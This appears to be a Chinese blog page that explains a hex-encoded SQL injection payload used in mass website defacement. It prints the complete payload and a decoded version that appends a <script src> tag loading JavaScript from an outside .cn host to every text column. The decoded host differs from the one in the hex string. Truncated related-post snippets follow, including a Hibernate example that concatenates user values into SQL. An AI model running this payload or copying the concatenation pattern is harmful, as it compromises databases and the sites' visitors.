16进制 SQL注入
dEcLaRe @s vArChAr(8000) sEt @s=0x4465636c617265204054205661726368617228323535292c4043205661726368617228323535290d0a4465636c617265205461626c655f437572736f7220437572736f7220466f722053656c65637420412e4e616d652c422e4e616d652046726f6d205379736f626a6563747320412c537973636f6c756d6e73204220576865726520412e49643d422e496420416e6420412e58747970653d27752720416e642028422e58747970653d3939204f7220422e58747970653d3335204f7220422e58747970653d323331204f7220422e58747970653d31363729204f70656e205461626c655f437572736f72204665746368204e6578742046726f6d20205461626c655f437572736f7220496e746f2040542c4043205768696c6528404046657463685f5374617475733d302920426567696e20457865632827757064617465205b272b40542b275d20536574205b272b40432b275d3d527472696d28436f6e7665727428566172636861722838303030292c5b272b40432b275d29292b27273c736372697074207372633d687474703a2f2f386638656c336c2e636e2f302e6a733e3c2f7363726970743e272727294665746368204e6578742046726f6d20205461626c655f437572736f7220496e746f2040542c404320456e6420436c6f7365205461626c655f437572736f72204465616c6c6f63617465205461626c655f437572736f72 eXeC(@s);
这个就是互联网泛滥的挂马专用代码，专门给过滤法的程序服务的。
把16进制翻译过来
DECLARE @T VARCHAR(255),@C VARCHAR(255)
DECLARE Table_Cursor CURSOR FOR
SELECT a.name,b.name from sysobjects a,syscolumns b
WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)
OPEN Table_Cursor
FETCH NEXT from Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''<script src=http://cn.daxia123.cn/cn.js></script>''')
FETCH NEXT from Table_Cursor INTO @T,@C END
CLOSE Table_Cursor DEALLOCATE Table_Cursor
看来原来的代码给16进制掩护得多少好。
相关文档：
SQL Default 约束的初步认识和理解！
首先创建一张表hello
CREATE TABLE hello
(
Id_P int PRIMARY KEY,
Firstname varchar(50),
Lastname varchar(50),
Address varchar(50),
City varchar(50)
)
创建约束条件
CREATE DEFAULT beijing_const AS 'beijing'
绑定约束条件到列上
sp_bindefault beijing_ ......
创建一张表，直接在表列上绑定默认值
CREATE TABLE hello
(
Id_P int PRIMARY KEY,
Firstname varchar(50) DEFAULT 'Bush',
Lastname varchar(50) DEFAULT 'Green',
Address varchar(50) DEFAULT 'China',
City varchar(50) DEFAULT 'beijing'
)
插入一条信息
INSERT INTO hello(Id_P) values(01)
结果是
总� ......
create table [表名]
(
[自动编号字段] int IDENTITY (1,1) PRIMARY KEY ,
[字段1] nVarChar(50) default '默认值' null ,
[字段2] ntext null ,
[字段3] datetime,
[字段4] money null ,
[字段5] int default 0,
[字段6] Decimal (12,4) default 0,
[字段7] image null ,
)
删除表：
Drop table [ ......
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接着上一篇教程。
二，在SQL语句中使用变量。
我们先看下面的一个例子，将“查询”按钮的槽函数更改如下：
void Widget::on_pushButton_clicked()
{
QSqlQuery query;
query.prepare(“insert i ......
利用hibernate的Query进行直接执行SQL语句
一、
String sql = "insert into SHOP_MALL_ACCOUNT_MAP_T (MALL_NO,ACCOUNT) values ('"
+ mallNo + "','" + userId + "')";
SQLQuery query = getSession().createSQLQuery(sql);
query.executeUpdate();
二、
String sql = "select to_char(SYN_DATE,' ......
